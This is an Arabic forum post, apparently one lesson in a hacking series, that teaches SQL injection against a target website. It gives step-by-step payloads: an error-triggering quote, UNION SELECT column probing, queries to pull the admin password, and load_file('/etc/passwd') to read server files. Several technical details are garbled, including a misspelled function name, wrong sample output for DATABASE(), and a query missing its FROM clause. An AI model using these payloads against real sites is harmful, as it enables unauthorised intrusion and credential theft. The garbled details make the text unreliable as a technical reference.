بسم الله الرحمان الرحيم
السلام عليكم و رحمة الله تعالى و براكته
تعريف SQL-injection :-
هي تقنيه المستخدمة للاستفادة من الضعف اصدار عن اوامر الكترونيه عبر شبكة لتنفيذ التطبيق من قاعدة البيانات الخلفية ( SQL ) وطبعا المهاجمون يعملون علي الاستفادة الحقيقة من هذا الضعف للوصول الي المعلومات السريه الخاص بالموقع
نبداء شرح استغل SQL-injection عن طريق الخطاء
mysql_fecth_array()
مثل الموقع المستهدف
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]</div>
طبعا لكتشاف الخطاء هنحاول ندخل رمز غير معروف في القاعده لحدوث الخطاء مثل
[****]
كود:
1'
</div>
ليكون بالشكل الاتي في HTTP
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]</div>
طبعا القاعد لم تستطيع التعرف علي الرمز 1'
هيظهر الخطاء ان الامر خطاء
هيكون
[****]
كود:
Warning: mysql_fecth_array(): supplied argument is not a valid MySQL result resource in
/home/site/index.php on line N
</div>
خطاء قواعد البيانات في الداله
Warning: mysql_fecth_array():
هنا يمكن الاستغلال مباشر لل SQL-injection
وفي نفس الوقت ظهر لينا مكان الموقع علي السيرفر
home/site/index.php
بنداء دلوقتي في تطبيق SQL-injection
[****]
كود:
UNION SELECT null/*
</div>
UNION والامر هذا يستخدم لإضافة استعلام اخر تابع للاستعلام المصاب بالثغره
SELECT : وهذا الامر عن طريقه يتم استخراج البيانات
Null : وهذا الامر لظبط عدد columns مع القاعده وطبعا بتفضل تزود null للربط بالقاعد
المهم شوف الفديو ده علي لكي تفهم
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]المهم بعد كده هنجرب نبداء ب null واحده
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null/*
</div>
للاسف لم تربط بالقاعده هنجرب 2 null
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,null/*
</div>
كده ربط بالقاعده طيب دلوقتي عايزين نعرف Table في القاعده
بستخدام الامر DATABASE() وهنضيف الداله دفي اخر null
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,DATABASE()/*
</div>
هيكون الناتج
[****]
كود:
USER()
PASSWORD()
VERSION()
</div>
طبعا الجداول دي ايوزر بتاع اسم المستخدم و الباسورد بتاع باسورد الادمن
وهيكون الاستعلام لستخراج الباسورد
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,password /*
</div>
و امر استخراج اليوزر
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,password WHERE user='admin' /*
</div>
البعض هيقول طيب SQL-injection فاشله علي شان بتجيب الباسورد MD5
لكن هوريك امر يعتبر فيل انكلود وهو بستخدام الامر load_file()
وهيكون الاستعلام فيه
[****]
كود:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,load_file('/etc/passwd')/*
</div>
و الامر ده هيعرض ليك PAsswd يعني يتم الاستغل فيل انكلود وشوف الفديو ده وانت تعرف خطوره الداله file_load
شوف الفديو ده
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]و الان الى اللقاء في الدرس السادس